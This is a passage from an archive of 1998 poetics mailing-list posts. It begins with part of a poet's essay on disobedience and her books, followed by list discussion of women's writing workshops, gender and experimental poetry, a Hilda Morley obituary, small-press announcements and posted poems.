>she finds it means appendage of a male name; her important name is I. I
>stand with this, and with the urgency that saying I creates, a facing up to
>sheer presence, death and responsibility, the potential for blowing away all
>the gauze. In two subsequent narrative poem/proses, Close to me...& Closer

>(The Language of Heaven) and Desamere I felt myself pushing against ideas of
>reality as soley what's visible and in what shapes and colors it's said to
>be visible, against the idea that religion is solely an organized affair,
>against the pervasive idea that one must not protest what everyone else has
>named the Actual -- how can you fight Reality? -- against the psychology of
>belonging, of aiding and abetting. Desamere especially is about not wanting
>to belong and the process of cesing to belong to the extent that's possible.
>All three of thoseworks are characterized by emphatic though variable
>metrical patterns, in the prose as well as the poetry parts; two are very
>quirky as to physical presentation; all three have narratives that tend to
>the fabular.
> In a book that will soon be published, Mysteries of Small Houses, I
>was firstly trying to realize the first person singular as fully and nakedly
>as possible, saying "I" in such a way as to make myself really nervous,
>really blowing away the gauze and making myself too scared of life and death
>to care what anyone thought of me or what I was going to say. Saying I in
>that way I tried to trace that I's path through my past. In a more
>subsidiary way I decided to go against my own sense that certain styles and
>forms I'd participated in formerly might be used up, that autobiography was,
>that the personal-sounding I (as opposed to the fictional I) might be,
>against the rumor that there's no self, though I've never understood that
>word very well and how people use it now in any of the camps that use it pro
>or con -- I guess I partly wrote Mysteries in order to understand it better.
>I came to the conclusion, in the final poem of the book, that self means 'I'
>and also means 'poverty,' it's what one strips down to, who you are when
>you've stripped down.
> It's possible that my biggest act of disobedience has consistently,
>since I was an adolescent, been agianst the idea that all truth comes from
>books, relaly other people's books. I hate the fact that whatever I say or
>wrote, someone reading or listening will try to find something out of their
>reading I "sound like". 'You sound just like...' 'you remind me of...' 'have
>you read...?' I read all the time and I often believe what I read while I'm
>reading it, especially if it's some trashy story; intense involvement in
>theories as well as stories seems difficult without temporary belief, but
>then it burns out. I've been trying to train myself for thirty or forty
>years not to believe anything anyone tells me. Not believing, the, became th
>crux of Disobedience, which is my most recent completed book. Not believing
>and telling the truth as it comes up. One of the main elements in the poem
>is an ongoing fantasy in which the I, who is pretty much I, keeps company
>and converses with a man very much like the actor Robert Mitchum and that of

>course is not strictly believable. On the other hand it's fun, and it stands
>for something a sort of truth, about how we do have stories going on in our
>consciousness and unconsciousness all the time and about how we're always
>talking to some "you" mentally. I wouldn't expect you to take this book as
>the truth, I would expect you to go with it, given that you like to read. I
>find the act of reading puzzling at the moment, since in a book I've been
>working on since Disobedience I ask the reader to read despite the fact that
>I'm not really entertaining the reader or being clear in any of the
>traditional ways I can think of. I think books may imply a readership that
>simply likes to read, which may sound obvious but it's something I myself
>have only just thought of. But back to Disobedience. It asks the reader to
>read a lot of pages, about 230 A-4 pages in verse, but it's fairly easy to
>read and it makes a lot of jokes. I't's very feminist but men seem to enjoy
>it a lot, it possibly contains a rather virile approach to things riding
>roughshod and shooting at every little duck that seems to pop up. As I
>implied earlier, Disobedience didn't exactly set out to be disobedient; it
>set out actually to try to do the kinds of things I'd previously done in
>differnet poems all in the same poem, that is tell a story, interact with
>the so-called visible or phenomenal the despised daily, and explore the
>unconscious. But it got more and more pissed off as it confronted the
>political from an international vantage, dealt with being awoman in France,
>turning fifty and being apoet and thus seemingly despised or at least
>ignored. The title popped up in a dream, a real dream I had towards the end
>of writing the work, in connection with a comic poet I know: it was the
>title of his book in the dream and I realized later that there was probably
>nothing more disobedient than being a comic poet, since no one's ever sure
>if that's good enough, particularly the academy unless you've been dead
>since the 14th century or unless you've also written a lot of tragedies. I
>myself wouldn't want the limitation of being only one kind of poet, but I
>realize this comic business is something to think about. But more and more
>as I wrote Disobedience I discovered I couldn't go along, with the
>government or governments, with radicals and certianly nor conservatives or
>centrists, with radical poetics and certainly not with other poetics, with
>other women's feminisms, with any fucking thing at all; belonging to any of
>it was not only an infringement on my liberty but a veil over clear thinking.
> It's necessary to maintain a stae of disobedience
>against...everything. One must remain somehow, though how, open to any
>subject or form in principle, open to the possibility of liking, open to the
>possibility of using. I try to maintain no continuous restrictions in my
>poetics except with regard to particular works, since writing at all means
>making some sort of choices. But NO DOCTRINES. Rather I tend to maintain
a

>sense that a particular form or sets of rules at a certain point might serve
>me for a while. Like may writers I feel ambivalentabout words, I know they
>don't work, I know they aren't it. I don't in the least feel that everything
>is language. I have a sense that there has been language from the beginning,
>that it isn't fundamentally an invention. These are contradictory positions
>but positions are just words. I don't believe that the best poems are just
>words, I think they're the same as reality; I tend to think reality is
>poetry, and that that isn't words. But words are one way to get at
>reality/poetry, what we're in all the time. I think words are among us and
>everything else, mingling, fusing with, backing off from us and everything
else.
> Since Disobedience I've been working on this other thing which isn't
>as friendly as Dis is, though it isn't meant to be unfreindly. It's just
>hard to read, in that you have to decide to sit down and read it word by
>word giving each word the rhythm and weight it requires. Taht sounds like
>poetry but this one tends to be long in blowy sentences all down the page. I
>am going at several ideas at once: one is that the world is intensely
>telepathic, infused with the past and continual thought of all the living
>and all the dead. I started out with that idea adn with the idea of a
>Byzantince church as a sort of head, mine, full of icons and mosaics on ever
>expanding and shifting walls. But the church or head got bigger and bigger
>and more and more full of images and words until it expanded into a city. So
>at the moment, on page one hundred and something, I'm dealing with the idea
>that there are tow cities or worlds at the same time, an ideal crystalline
>one and the supposedly real one. Generally I'm neither all the way in one
>nor the other, though sometimes it seems as if I'm nowhere near the crystal
>one and its resonable opulence so I start beating hard at all the doors I
>can find in my mind. Then sometimes it seems as if the supposedly real world
>just isn't there or here at all though I know if I stop typing and go
>outside it will get me. This work is also very disobedient, in a way it
>picks up where Disobedience left off; but it doesn't lecture as much or
>shake its fist so, is less interested in the so-called real than in denying
>its existence in fafor of the real real. You can't fly unless you're not on
>the ground and this one really flies sometimes.
> I think I conceive of myself as disobeying my readrship a lot. I
>began the new work in fact denying their existence; it seemed to me I needed
>most at this point to work on my own existence so I couldn't afford to cater
>to them if they got in the way of my finding out things. But this is a work
>of mine, it should be published sometime. I'm now in a predicament I can't
>get out of, a form I can't manage for the reader, which just keeps leading
>me on and leading me on. It's predicated on leaving in as much mind fuzz as
>possible, that is being open to all that it out there in telepathy -- not a

>very organizeable entity, the entity. Too wordy, too long; and I've allowed
>in a lot of notions from my dreams again, have allowed odd images to take on
>the weight of truth; and I'm stubbornly involved again in what you might
>call mystical conceptions, but aren't those a nono? Except in icky New Age
>territory, yuck. The reader likes you to tell him/her what he/she already
>knows in a fmailiar form whether in mainstreamese or avant-gardese, but
then
>there is the individual reader who is often not like that at all, who
>prefers poems to talking about them and has strange individual experiences
>with them. That's a very scary idea. It's possible that the reader, or maybe
>the ideal reader, is a very disobedient person a head/church/city entity
>her/himself full of soring icons and the words of all the living and all the
>dead, who sees and listens to it all and never lets on that there's all this
>beautiful almost undifferentiation inside, everything equal and almost
>undemarcated in the light of fundamental justice. And poker-faced puts up
>with the outer forms. As I do a lot of the time but not so much when I'm
>writing.
>

Listen,
if the stars are lit
it means there is someone who needs it.
It means it is essential
that every evening
at least one star should ascend
over the crest of the building.

-vladimir mayakovsky, from "Listen!"

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1041. **Nada Gordon**
to dodie/wmn's wrkshps/my personal story
Mon 30 Mar 1998

Dodie

Thanks so much for the detailed response. Your workshop sounds great and I wish I could be part of it, although I haven't written narrative (except letters)seriously since I was 18. I began writing fairly normal stories about love betrayals and the like, but found myself bored by their literalness (although they were well-liked by my teacher and felllow students in a fiction workshop I took at Merritt college). I started putting in dream sequences and then cut out the rest of the story; only the dream sequences felt powerful to me. My teacher and

classmates were no longer generous in their praise, but seemed befuddled. I wanted to be ambiguous and transcendent of logic and combine words more aurally/physically. That desire could have harked back to my childhood reading and constant rereading of Alice and Rutabaga stories, or my teenage anarchic punk explosions -- I wanted to make poems or stories that somehow reached the same part of my ear and brain. It wasn't until I got to State in 1982 that I was exposed to works that did just that. Doors flew open: Stein; the NY School; various local writers -- especially Carla Harryman.

Didn't you give a talk in Kathleen Fraser's Writers on Writing class (I guess I was at State just a little while after you were) at around that time? I have some memory of it, but distant... anyway I also took Kathleen's women's writing workshop; it was one of the workshops I was thinking about when I wrote my post. Jessica Grim was in that workshop (although she had not taken the turn into language writing yet) and so was Colette Lafia -- both, along with Lori Lubeski, later became my writing comrades. I remember bringing in about four pages of writing that was a rush of language -- prose (maybe the combined influences of Silliman, Hejinian & Rodefer), and after I read it, that puzzled silence. Kathleen said something about how more and more of her students were writing "like this." I felt characterized but not attended to, as if she was not looking at the writing I had done but was instead categorizing it. It seemed a politicized categorization, like there was some kind of polemic lurking under her words. I don't remember the reactions of the other participants but I remember feeling unsatisfied. Maybe they didn't have techniques for responding to writing "like that" -- writing like wind, writing from the ear, not trying to make anything whole or tell a story or make a point.

The other women's workshop I was thinking of was one I started here in an attempt to forge some community. The thing about being an expat is that you can't be too picky about who you let in; the potential participants are limited. Almost none of the women identified themselves as writers, although they wrote a little or wanted to write. Our sessions were most interesting when we actually spent some time writing together (but not collaboratively) in them. Otherwise, mostly "dopey" responses. As you wrote, though,

> *As far as women's workshops go, I don't see why there couldn't be a good one if you had women coming from the same place*

It's just that, in Tokyo, people writing in English never come from the same place, geographically or otherwise. It's a great place for hot tubs though -- almost as good as Marin.

> *I also took Kathleen Fraser's Feminist Poetics class and women's writing workshop at SF State and those were very useful, rigorous, enlightening. When the class ended Kathleen urged the women from the women's workshop to continue a group on their own, which happened. At that point I was still*

> *writing poetry and clearly there was a struggle going on between what I wanted to do in writing and formal issues in poetry. I hadn't yet figured out you could write prose without writing short stories. But, as soon as the women's workshop no longer had Kathleen as a facilitator, it turned vicious in its hierarchical reorganization, with the wanna-be language poets (none of which are on the scene any more) at the top, and then the tolerated in-betweens, and me at the bottom. The queen of the workshop told me that I was writing about sex and violence and therefore should go into therapy. I remember yelling back that I wasn't writing about sex and violence. I had sex on page two and violence on page 4--that's not sex and violence! Remember, this was the early 80s, it wasn't yet cool to write about sex and violence and anything narrative was the scum of the earth.*

Was it? In your crowd there were people doing such amazing things -- Bruce Boone, Bob Gluck, Michael Amnasan. You all seemed pretty cool to me.

That's too bad about the bossy wanna-be-langpos. I don't deny that part of the real langpos' attractiveness as a group was their power -- I've said so before on this list. I always wanted to be powerful (in my childhood I fantasized about being a rock star -- I really wanted to *be* --not *marry*-- John Lennon & Roger Daltrey -- does this make me male-identified? I never dreamed about being, say, Carole King) and still have to work hard to control my arrogance -- or I use it in my writing (i.e. my old booklet, Rodomontade, which means "boastful, bragging speech"). I think it's the flip side of the chutzpah a writer or a teacher or a performer needs to assume (even if it's an act) in order to do her work -- I would guess that you understand that. Living in Japan for a decade *has* made me see the virtue of having a little bit of humility -- I guess now I'd like to be a kind of combination of Maria Callas and Lao Tsu.

I'm pretty sure Kathleen picked up on my arrogance -- Lori, Jessica, Colette & I took an independent study course with her -- it was great -- she'd read aloud sections of The Tale of Genji or Remembrance of Things Past and we'd write as she read -- but I'm sure I was snotty sometimes and remember hearing that she'd mentioned to someone that as a group we were "difficult." At that time, I would have considered that a compliment -- remember I came to writing fresh out of punk rock.

> *I was moved when Johanna Drucker read at Small Press Traffic a couple of weeks ago and she talked about her interest in narrative when she was growing up, how she'd always imagined herself writing huge narrative books. Then she fell in with the Bay Area scene and was told that that wasn't valid, so she developed other strategies in writing. She spoke of how she was still struggling with this "self-censorship." I often wonder the same things about my own work.*

Yes, me too. I never send work out partly for this reason, and I don't write nearly enough. One thing that annoys me about my writing is its obsession with

gender in its content. Why should that annoy me? Noting this obsession, I called a manuscript "A Gender" (think of a midwestern farmer saying agenda) and then later changed it to "Foriegnn Bodie", which still seems annoyingly topical.

> *I see so much competiveness and turf guarding among women writers, it can be very depressing.*

Really? Like what? I don't remember that being the case -- and now I'm too far away to know about it.

I think some of the people who are railing about
>inequalities with men should think about being nicer to the women they
>know. And this isn't aimed at you, Gordon, I have no idea how you are to
>the women you know.

It depends on the women, I guess. I only know a couple women writers here, and they have poetics very different from mine. Remember I only see the USA women writers I know *at most* once a year. And I LOVE them: Andrea Hollowell (who was here with me for two years), Lori Lubeski, Pat Reed, Lee Ann Brown, Julie Reagan, Norma Cole, Carla Harryman ... all brilliant and inspiring.

OK, cherry blossoms calling again. I have only a few days left in my spring vacation before I start teaching and I no longer have time to write long posts like this.

--nada

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1042. **SSSCHAEFER**

Re: more boring chit-chat

Mon 30 Mar 1998

Marcella:

Yes, this is what I'd like to hear talked about.

In a message dated 98-03-30 20:37:31 EST, you write:

<< think it would be interesting to have a more precise discussion of gender and poetry--ESPECIALLY experimental poetry. I've disagreed with Irigaray that women write with their vaginas (but maybe the movement from pen to keyboard
means something ...) But Helene Cixous's theories on a female language are interesting when applied to experimental syntax. Perhaps we could talk about Alice Notley's work?
>>

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1043. **Maz881**
Re: re : unsubscribe poetics
Mon 30 Mar 1998

Don Byrd wrote:

<<The World Watch Institute notes that economic "growth during the seven years since 1990 exceeds that during the 10,000 years from the beginning of agriculture until 1950" and estimates that the earth cannot sustain this level of material production for more than twenty additional years. I will highly recommend web site of the World Watch Institute (http://www.worldwatch.org/)>>

Don, thanks for the warning. Personally, I'm more worried about tsunamis and all the nuclear weapons stockpiled here on oahu.

But one of your old students dug rothschild is spreading the notion that allegorical subtext of the movie titanic, ie. a supposedly unsinkable ship that sinks, is about the "immanent" crash of the stock market. I'm not sure if he made up the allegory or he got it from you or you planted that kind of thinking in his head. ??

Joe Amato, you being a student of Don's, don't have this titanic vision do you?

Best,

Bill Luoma

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1044. **michael corbin**
Re: women/men/communication/cherry blossoms
Mon 30 Mar 1998

Nada Gordon wrote:
>
> One thing that irks me greatly about this list is that it keeps me away
> from the cherry blossoms, newly opened and splendid,
>
>
> Hmm, so I guess I do roar. And am boorish sometimes and violent
> Ending with questions again:
>
>
> love and cherry blossoms (finally I can get to them)
>
> From: Beth Joselow <[redacted]>

> *Yes, it's difficult to find time, money, space to write. For all of us.*

> *2927 Tilden Street NW*

the cherry blossom is a complicated bloom. with all its social hopes at the tidal basin. tourists and a western rapproachment. global economy. a tea ceremony of geo-political importance in the margins of 'yen' and 'dollar'.

I walked up tilden the other day. sleeping in the park, because the park divides. and divisions, distinctions are important.

the cop-man told the homeless man with the spotlight in his eye before sunrise that he'd have-ta move on. move on.

the cherry blossoms is bluumin'.

i love *this* spring. but i prefer that bullshit daffodil. cherry blossoms be damned. photosynthesis and all that civic-life. fake, it seems.

love, and boys and girls and things.

mc

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1045. **Tim Wood**
Re: iceberg lettuce
Mon 30 Mar 1998

The sad thing is that something so one-dimensional would --if you p.c.'d the ti-tle-- would make huge amounts of money.

Iceberg Lettuce for the Soul: Light anecdotes for a thinful Age, Iceberg Lettuce for the Soul: Jack Handy's thoughts for a post-big hair world. Iceberg Lettuce on Soul (Food): a cookbook for the deep(ness) challenged

You could almost publish a whole book of just the titles. At least turn it into a perverse Exquisite Corpse. One of our cat either hates the idea or loves it. She just jumped up here and started batting at the keys...

Tim

At 02:32 PM 3/30/98 -0600, you wrote:
>I was in Barnes and Nobles and came up with a great book concept:
>"Ice-berg Lettuce for the Soul: Insipid Anecdotes for a Superficial Age."
>I welcome all your contributions; we can make a million bucks off this.
>
>Jonathan Mayhew
>Department of Spanish and Portuguese
>University of Kansas
>[redacted]

>[redacted]
>

_____ Tim Wood
[redacted]

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1046. **Karen and Trevor**
kelsey st press (women in publishing)
Mon 30 Mar 1998

Kelsey St. Press published Laynie Browne's _Rebecca Letters_ as well as Mei-mei Berssenbrugge's _Sphericity_ (someone last week said it was published by Bridge St Press).

Also, we have published Mei-mei's _Endocrinology_ with drawings by Kiki Smith, and are working on Mei-mei's next book. Susan Gerwirtz is also being published this year.

Please visit our updated website-
www.sirius.com/~kelseyst/

Karen McKevitt

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1047. **Tim Wood**
Re: Stadard S, "truth," Dodie's wkshps
Mon 30 Mar 1998

> *A truth, it must be admitted, is not easy to recognize, once it has become accepted. Not that there are established truths, but they then become so easily confused with the reality that surrounds them that no other artifice has yet been found to distinguish them from it than to mark them with the sign of the spirit, to pay them homage, to regard them as coming from another world.*
>
> *(Lacan, Ecrits, "The Freudian Thing," p. 120, Norton 1977)--*
>
> *The other side of the coin, though, comes from Wittgenstein, who wrote that the truth can only be known by standing outside of the world. Lacan, I guess, is speaking as a nominalist. Wittgenstein (if he admits the possibility of such an "outside" perspective), as a realist. This outsider position relates to the "status" of marginality. The broken off splinter reveals the macrocosm. Synecdoche.*

Which is complicated all the more by the "fact" that besides those who have achieved life after death or (the) God(s)ess(es) <grin> there is no true outsider position. Particularly in the U.S., where the 'culture', at least the mass marketed one(s), saturate the geography of our lives, there is no way to be completely apart from the world. There is a certain blindness one develops to things and a certain apriorizing (pardon the word creation) that occurs in the process of negotiating the days.

Tim

_____ Tim Wood
[redacted]

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1048. **nanostep**
recommendations sought - poets' theatre
Tue 31 Mar 1998

Hi folks,

I put on a literary and arts radio program here in Los Angeles and have been wanting to produce a "poets' theatre" piece, but have had trouble locating anything suitable.

You're help would be greatly appreciated.

Thanks,
Christine Palma

_____
needle: [redacted]

static: kxlu los angeles . 88.9 fm . saturday evenings . 8 to 9 pm
echo in the sense . contemporary authors . poets . artists 28 mar .
poet david trinidad

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1049. **Rachel Loden**
Hilda Morley
Tue 31 Mar 1998

From The New York Times, March 27

Hilda Morley, 81; Wrote Poetry Shaped by Abstract Expressionism

By WOLFGANG SAXON

Hilda Morley, an American poet who gained wide recognition late in life, decades after she first published her imagist free verse, died on Monday at Royal Free Hospital in Hampstead, London. A former resident of Sag Harbor, N.Y., she was 81 and had moved to London last year to continue work on a biography of her late husband, the avant-garde composer Stefan Wolpe.

The cause was liver failure after a fall at home, said a spokeswoman for her publisher, Moyer Bell.

Ms. Morley published five books of poetry in which she articulated emotions and feelings in free verse, but a type of verse as measured as dance or music. She was a "master of that ability," Robert Creeley, a fellow poet, said.

She wrote that her poetry was shaped by the visions of Abstract Expressionism, which can create metamorphoses. Artists like Klee and Picasso, she said, gave her the means to create word canvases depicting the world around her.

Born Hilda Auerbach in Manhattan, Ms. Morley considered herself an inhabitant of the world. She was educated in New York, Haifa (in what was then known as Palestine), London and at Wellesley College, Ohio State University and New York University.

Along the way she taught English at a private school in England and at Walden School in New York, where she also worked as a researcher for the Zionist Youth Commission and as a Hebrew translator for the Office of War Information.

Starting in the 1940's, she intermittently lectured at Rutgers University. After her marriage in 1952, she taught English literature at Black Mountain College in North Carolina. Once recognized as a poet, she took academic assignments, lecturing, leading poetry workshops and judging poetry. She was a resident poet at Northeast Missouri University in 1992.

Ms. Morley is survived by a stepdaughter, Katherina Wolpe of London.

The first collection of her previously published poetry was _A Blessing Outside Us_ (1976). It was followed by three others that remain in print: _What Are Winds & What Are Waters_ (1993), _To Hold in My Hand: Selected Poems, 1955-83_ (1984) and _Cloudless at First_ (1988).

Her final collection was _The Turning_, which has just been published. It includes "Fiesta, Ibiza," her evocation of a place she savored:

Warm crystal
of my little
city;
the fishes

swim over the bay,
rooftops swooping
with light,
the wreaths & garlands
bursting gently
in night's element,
the sunlit branches
exploding
softly,
the sea baring
its lights burning
the unshadowed joys

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1050. **David Dowker**
The Alterran Poetry Assemblage - #3
Tue 31 Mar 1998

ANNOUNCING: the third installment of

(((((((((THE ALTERRAN POETRY ASSEMBLAGE)))))))))

Featuring: Adam Cornford, Karen Kelley, Craig Watson, Christina Thompson, Andrew Joron, Lissa Wolsak, Laynie Browne, Lisa Samuels, Gary Sullivan, Virginia Hooper, Spencer Selby, Erin Moure, Lisa Jarnot, William Fuller, Kristin Prevallet, David Dowker.

[redacted]
http://home.ican.net/~alterra/

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1051. **Jordan Davis**
****you're never a latent anything***
Tue 31 Mar 1998

Jeff your response to Alice Notley's essay reminds me of a line from Notley's book _How Spring Comes_. She says that one is never a latent anything because one is always living and experiencing. Maybe someone with the book can correct that?

Anyway in re conformity take away the smog from the word and you have the problem. Speaking to someone in a recognizable way is conforming, no? not

speaking just drives people mad with wanting to know what you're thinking, and speaking unrecognizably, well it's ok for art in bursts.

This time it's different, right?
Jordan

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1052. **Loss Pequen~o Glazier**
Note for Hilda Morley
Tue 31 Mar 1998

Bob Creeley's Note for Hilda Morley is now up at the EPC. It's available from the EPC home page and also from http://writing.upenn.edu/epc/authors/creeley/morley.html

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1053. **Burt Kimmelman**
Re: Chris Funkhouser search
Tue 31 Mar 1998

[redacted]

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1054. **Miekal And**
Xerolages 26 + 27
Tue 31 Mar 1998

---

2 new Xerolages from Xexoxial Editions

[Xerolage 26] Steve McComas <italy>

"The Book of Not Seeing Things" "One who is, or those who are, of the functional eyes must catch and identify a phrase of thought in which one is unable to be objective; closes itself by its own screen or shutter that obstructs or shuts off dazzle, screen, for protecting from the enemy's fire; hinders physically or mentally: the movements of luminous ruse." -from the author's introduction.

[Xerolage 27] Jean-Francois Robic <france>

“haut et bas” This work for Xerolage must be called “high” and “low”; “up” and “down”.....It’s about the possibility for these images to be read in any direction. About the life to be read like that; between autobiography & history, between roots & exile, fight & slavery. So I mixed my family old pictures & historic events (especially about eastern & communist history), signs & words in all

languages concerned by the images: french, russian, breton, spanish, german.....So you need a dictionary to appreciate all the images' meanings. It's up to you to link all these meanings together; to connect signs, words, & images; to give them back a signification; your signification.

Jean-François Robic, december 1995.

....upcoming issues by Stewart Home, Carla Bertola, Edgardo Vigo, Janet Janet, Carlyle Baker, & many others....

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x26 Steve McComas
x27 Jean-François Robic

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1055. Douglas Barbour
Re: Guns, gender, children, crusades, etc.
Tue 31 Mar 1998

Just want to say, as someone who got a little behind reading my digests, that all the new names talking like mad here are great to have present & accounted for. That many are women not heard here that often is also terrific. But it's just that there have been a number of interesting & provocative threads recently, & that's a good thing.

But, however erratic the approaches, surely everything we say is personal in some way? Even as it might also register resistance to 'just being personal, eh?' It's the ways in which such a contra/diction plays itself out, like maybe in Nada's neat penis poem, or the various posts about writing & being, that hold our (or my) attention.

==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

leave us alone on the road.
Denise Levertov

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1056. **Mark Prejsnar**
Re: more boring chit-chat
Tue 31 Mar 1998

On Mon, 30 Mar 1998, Marcella Durand wrote:

> *Kind of wierd to tune in after a few days and find a thread I found interesting & provocative getting strangely bogged down?? And what is this bizarre list of statistics? It reminds me when that study came out that a woman had about much chance of getting married after--what was it, 30??--as being captured by a terrorist. Now I feel like I'm helping to "silence" men who have been abused by their wives and girlfriends, and I'm sure that such abuse happens, the human race being such as it is, but I can't believe in greater amounts than women being abused!*
>
> *I feel like I need to defend that there is sexism in the world and back that up with various stories I have seen, heard and experienced. And it definitely happens in how we're taught reading and writing, in both the classroom and out. Although I try to keep myself as sensitized as*

Marcella,

I feel very much the same way. It's an indication of the fact that even among people with much else in common, feminist politics is still contested ground. But what you say above is certainly true, and in this context anodyne.

For instance, one post that disturbed me:

I think Standard is one of the really exciting and important young poets and editors on the scene. But I found his recent post terribly worrisome. He seemed to imply that he saw no way for men to fit into an anti-sexist stand; something to the effect of, how can *a man* speak against sexism? He seemed to be assuming that the concerns about gender disbalance various people had stated were rooted in people's essences; whereas I assume them to be social constructs that can be critiqued and worked against and understood. I thought "we" (as a society) had at least established that as one major political/analytic position. But the word hasn't reached everywhere I guess.

In addition to your suggestions, there is the very broad topic of non-mainstream poets whose work engages gender politics on various levels, even though those poets have not *extensively* theorized the feminist underpinnings (if that's what they are) of what they are doing. The two who came immediately to my mind were Susan Howe and Rosmarie Waldrop. Not having a direct-address

componant to one's poetics (where say, Adrienne Rich drops into a somber soliloquy on the violence facing women in american cities) presents the question of just how political stresses are woven into a body of poetry. A political poetry can take up and amplify processes of violence and inward abrasion, forcing them to a kind of ultimate verbal breaking-point (Andrews in "I Don't Have any Paper," for instance). This seems a very abrupt (not to say masculine) approach and its relationship to a feminist politics is a very tangled question. Gender encodings and nodes of pressure exist in S. Howe's work through confrontation with (and I think that's a good word for how she does it) historical material that is felt as palpably present in the lived matrix of the poet and her audience. Even when on a literal documentary level this "history" "took place" in 1645 or 1820.....

I actually think that many (mostly women) poets appearing today in the mags, are approaching these tensions with similar creativity. (A very large proportion of 'em being poets who participate on this list) I wish I had seen more of their work, in larger chunks, so I could comment on it intelligently.

Anyway, Marcella, compliments on a valuable post.

Mark Prejsnar
@lanta

↑ Index

1057. **k. lederer**
Ex Ed--Emily Wilson
Tue 31 Mar 1998

Here are a couple of terrific poems that I love from another wonderful poet who doesn't seem to send out.

Emily is originally from New England, and is, oh... maybe 30.

PASTORAL

The mordants in their noise,
the night transports.

A means of coming to
the switchyard of the tongue.

To have once
set such store by

forced creatures.
Not changed toward

something of my own.
The towns raised chaffed

seas to ground the.
In that frieze before

storm you went on.
Effigy loomed out

of cornfield. Future
inside its trussed forms.

GREEN RIVER

There is the mountain
that became the barren

of rudiment silt.
There is emergent

instinct that stalled,
acquainted then strayed

to what odds. Far
above the miniature

tamarisk-imperfect
shore the sediments

burn in their curtains.
You've taken so long

to come through.
The archival exit

speech still stayed
at the mouth.

↑ Index

1058. **dbkk**
Re: to dodie/wmn's wrkshps/my personal story
Tue 31 Mar 1998

> *Date: Tue, 31 Mar 1998 10:55:26 +0900*
> *From: Nada Gordon <[redacted]>*
> *Subject: to dodie/wmn's wrkshps/my personal story*
>
> *Didn't you give a talk in Kathleen Fraser's Writers on Writing class (I guess I was at State just a little while after you were) at around that time? I have some memory of it, but distant... anyway I also took*

> *Kathleen's women's writing workshop; it was one of the workshops I was thinking about when I wrote my post. Jessica Grim was in that workshop (although she had not taken the turn into language writing yet) and so was Colette Lafia -- both, along with Lori Lubeski, later became my writing comrades.*

No, at that point, I don't think anybody would have even considered inviting me to that class. Michael Amnasan, however, did speak and that's how he and Jessica met--at least that's the way my memory goes. [Editorial comment: Michael and Jessica were "together" for several years.] And yes you must have been at State just a little after me because I knew Jessica then, Lori a bit later.

> *I remember bringing in about four pages of writing that was a rush of language -- prose (maybe the combined influences of Silliman, Hejinian & Rodefer), and after I read it, that puzzled silence. Kathleen said something about how more and more of her students were writing "like this." I felt characterized but not attended to, as if she was not looking at the writing I had done but was instead categorizing it. It seemed a politicized categorization, like there was some kind of polemic lurking under her words. I don't remember the reactions of the other participants but I remember feeling unsatisfied. Maybe they didn't have techniques for responding to writing "like that" -- writing like wind, writing from the ear, not trying to make anything whole or tell a story or make a point.*

This is odd, considering it was in her classes I first read Lyn and Carla, many of the female Lang-Pos. And I remember "experimental" works turned in by students to be praised. Your bringing up categorizing is interesting because the whole How(ever) project was about bringing "female" experience/perspective into experimental forms. The poetic avant-garde, it was perceived, was ruled by men, and Kathleen's project was to create a sort of antidote to that. But, I always thought there was a (mostly unspoken) privileging of what was acceptable femaleness. A certain lady-likness. Thank god Kathy Acker was around at the same time. As I remember you from those days, Nada, you were rather punked out with a lot of attitude (your arrogance as you put it). I wonder how that impacted your perceived relationship to jouissance?

I had the dreadful combination of arrogance and absolutely no self-confidence. I needed constant approval from others to really get me started in writing. I think I still use Kevin for that more than I should.

> *Was it? In your crowd there were people doing such amazing things -- Bruce Boone, Bob Gluck, Michael Amnasan. You all seemed pretty cool to me.*

That scene, the failed attempt to forge a New Narrative movement was much a reaction to the then disrespect of narrative, an attempt to reinvent narrative so that it could be as arty as lang-po--that's what I'd say on a bad day. On a good day, I'd say it was about admitting the falsity of the conventional absent author, bringing the act of writing into the piece, experimenting with different

subjectivities, stuff about community in its early idealistic days, etc. Studying (that's the wrong word, hanging out endlessly is more accurate) with Bruce, it was a lot about seduction, he was heavy into Bataille then--he was always talking to me about the relationship between the writer and the audience, would compare it to an SM relationship, the author being the top, the reader being the bottom. A far cry from How(ever). I was heavy into being corrupted by these sicko perverts. We'd lie on his bed and he'd read me Baudelaire. It was thrilling.

> *Yes, me too. I never send work out partly for this reason, and I don't write nearly enough. One thing that annoys me about my writing is its obsession with gender in its content. Why should that annoy me? Noting this obsession, I called a manuscript "A Gender" (think of a midwestern farmer saying agenda) and then later changed it to "Foriegnn Bodie", which still seems annoyingly topical.*

I don't know, I don't have problems with this. I'm in a female body/consciousness in a fucked up world--and that's what I write about, I can't imagine wanting to write about anything else--unless I was getting paid.

x,
Dodie

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1059. **Patrick F. Durgin**
Re: Ex Ed--Emily Wilson
Tue 31 Mar 1998

Thanks for posting Emily's work to the list, Katy. I'd just like to add that Emily will have two poems in the second (summer) issue of Kenning. And no, she doesn't send out. It takes some sleuthing sometimes. Patrick F. Durgin

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` ----->*<-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|
` 10IowaCityIA5|
` 2245USA\/\/\/|

On Tue, 31 Mar 1998, k. lederer wrote:

Here are a couple of terrific poems that I love from another wonderful poet who doesn't seem to send out.

Emily is originally from New England, and is, oh... maybe 30.

PASTORAL

The mordants in their noise,
the night transports.

A means of coming to
the switchyard of the tongue.

To have once
set such store by

forced creatures.
Not changed toward

something of my own.
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seas to ground the.
In that frieze before

storm you went on.
Effigy loomed out

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There is the mountain
that became the barren

of rudiment silt.
There is emergent

instinct that stalled,
acquainted then strayed

to what odds. Far
above the miniature

> *tamarisk-imperfect*
> *shore the sediments*
>
> *burn in their curtains.*
> *You've taken so long*
>
> *to come through.*
> *The archival exit*
>
> *speech still stayed*
> *at the mouth.*

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1060. **dbkk**

Moving Borders reading at SPT

Tue 31 Mar 1998

Small Press Traffic presents

a reading and book launch for

Moving Borders: Three Decades of Innovative Writing by Women (Talisman House)

with

Dodie Bellamy
Norma Cole
Beverly Dahlen
Jean Day
Patricia Dienstfrey
Susan Gevirtz
Barbara Guest
Lyn Hejinian
Myung Mi Kim
Laura Moriarty
Camille Roy
Leslie Scalapino
Mary Margaret Sloan

Here it is at last--Mary Margaret Sloan's ambitious, groundbreaking anthology of formal innovation by US and Canadian women over the past thirty years, and tonight, like Salome, it's unveiled, with brief readings from its Bay Area contributors (and editor Sloan herself). They're all here, front and center, a dazzling chorus line of fragmentation and history. "It is the specificity of each author's

